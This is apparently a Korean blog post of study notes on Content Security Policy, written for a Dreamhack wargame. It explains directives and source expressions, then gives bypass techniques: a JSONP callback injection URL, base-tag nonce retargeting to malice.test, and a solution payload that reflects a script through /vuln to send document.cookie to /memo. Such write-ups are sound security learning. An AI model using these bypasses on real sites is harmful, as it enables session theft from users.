Content Security Policy (CSP, 컨텐츠 보안 정책)
-XSS / 데이터 삽입 공격이 발생하였을 때 피해를 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새롭게 추가된 보안 계층
- 웹 페이지에 사용될 수 있는 자원의 위치, 출처 등에 제약을 검
- CSP 구문은 일반적으로 Content-Security-Policy HTTP 헤더에 추가하여 적용할 수 있음
Content-Security-Policy: default-src 'self' https://example.dreamhack.io
특징
- 인라인 코드 (Inline Code)를 유해하다고 간주
* <script> 태그 내에 코드를 삽입하는 것을 포함하여 on* 이벤트 핸들러 속성, javascript: URL 스킴 또한 인라인 코드로 간주하고 허용 x
* CSS 스타일시트 또한 인라인 코드를 허용 x. style 속성과 style 태그 모두 외부 스타일시트로 통합하는 것을 권장
- 문자열 텍스트를 실행 가능한 자바스크립트 코드 형태로 변환하는 메커니즘 또한 유해하다고 간주
* eval, new Function(), setTimeout([string], ...), setInterval([string], ...) 차단
어떤 리소스를 제어?
default-src | -src로 끝나는 모든 리소스의 기본 동작을 제어합니다. 만약 CSP 구문 내에서 지정하지 않은 지시문이 존재한다면 default-src의 정의를 따라갑니다. |
img-src | 이미지를 로드할 수 있는 출처를 제어합니다. |
script-src | 스크립트 태그 관련 권한과 출처를 제어합니다. |
style-src | 스타일시트 관련 권한과 출처를 제어합니다. |
child-src | 페이지 내에 삽입된 프레임 컨텐츠에 대한 출처를 제어합니다. |
base-uri | 페이지의 <base> 태그에 나타날 수 있는 URL을 제어합니다. |
어떤 출처를 제어?
*://example.com | 출처의 scheme은 와일드카드를 이용해 표현할 수 있습니다. |
https://*.example.com | 출처의 호스트 서브도메인은 와일드카드를 이용해 표현할 수 있습니다. (단, 와일드카드는 호스트의 중간에 들어갈 수 없습니다. i.e) https://www.*.com, https://*.example.* 또한 서브도메인을 와일드카드로 표현할 시, 서브도메인이 붙어있지 않는 도메인은 포함되지 않습니다. i.e) https://*.example.com으로 출처를 표기할 경우, https://example.com은 포함 안됨 |
https://example.com:* | 출처의 포트는 와일드카드를 이용해 표현할 수 있습니다. |
none | 모든 출처를 허용하지 않습니다. |
self | 페이지의 현재 출처 (Origin) 내에서 로드하는 리소스만 허용합니다. |
unsafe-inline | 예외적으로 인라인 코드의 사용을 허용합니다. |
unsafe-eval | 예외적으로 eval과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용합니다. |
nonce-<base64-value> | nonce 속성을 설정하여 예외적으로 인라인 코드를 사용합니다. <base64-value> 는 반드시 요청마다 다른 난수 값으로 설정해야 합니다. 해당 출처를 설정하면 unsafe-inline 은 무시됩니다 |
우회 방법
1. 신뢰하는 도메인에 파일/코드 업로드
특정 출처가 파일 업로드 및 다운로드 기능을 제공한다면, 공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤 다운로드 경로로 웹 페이지에 자원을 포함시킬 수 있습니다
2. JSONP API 이용
만약 CSP에서 허용한 출처가 JSONP API를 지원한다면, callback 파라미터에 원하는 스크립트를 삽입하여 공격이 가능
구글에서 JSONP API를 지원하는 서버를 찾아 callback에 원하는 스크립트를 삽입할 수 있음
https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
3. NONCE 값 예측
현재 시각(srand() / rand()) 등 공격자가 알 수 있는 정보를 바탕으로 nonce를 생성하는 경우
4. base-uri 미지정
HTML 하이퍼링크에서 호스트 주소 없이 경로를 지정하면 브라우저는 현재 문서를 기준으로 주소를 해석
HTML <base> 태그는 경로가 해석되는 기준점을 변경할 수 있도록 하며, <a>, <form> 등의 target 속성의 기본 값을 지정하도록 함
base-uri 지시문을 임의로 지정하지 않는 이상 default 초기 값이 존재하지 않음!!!
Content-Security-Policy: base-uri 'none'
위와 같이 base-uri CSP 구문 지정하면 안전. 그렇지 않은 경우?
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>
/jquery.js 는 https://malice.test/jquery.js 가리킴. nonce 값 몰라도 통과 가능!! (Nonce Retargeting)
문제 코드 분석
# HTTP 요청이 처리되고 브라우저가 응답하기 전에 실행되는 미들웨어
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
# 매 HTTP 요청마다 랜덤한 nonce 값 사용 - leak 불가능
nonce = os.urandom(16).hex()
return response
- nonce는 HTTP 요청 이루어질때마다 매번 새로 생성되므로 공략 불가능
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
- vuln은 argument로 건네준 user input을 그대로 되돌려준다
- script-src = 'self' 'nonce-{nonce}' 이므로 동일 출처 내의 파일을 src로 셋팅하거나, 올바른 nonce 속성이 셋팅되어있으면 예외적으로 스크립트 사용 가능하다
- script 태그의 source를 자기 자신으로 해버리면?!
/flag에서 아래 payload를 post 요청으로 보내면 됨
<script src="/vuln?param=location.href='/memo?memo='%2Bdocument.cookie"></script>
* 실제 스크립트 부분 (lcoation.href='/memo?memo='+document.cookie) 는 파라미터로 전달되면서 URL Decoding이 되므로 +가 공백으로 해석되지 않도록 한 번 인코딩해 %2B 사용해야 함!!
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Client Side Template Injection (0) | 2023.07.05 |
---|---|
[Dreamhack Wargame] CSP Bypass Advanced (0) | 2023.07.03 |
[Dreamhack Wargame] XSS Filtering Bypass Advanced + HTML 엔티티 (0) | 2023.07.02 |
[Dreamhack Wargame] blind-command + curl (0) | 2023.07.01 |
[Dreamhack Wargame] web-ssrf + SSRF에 대해 (0) | 2023.06.30 |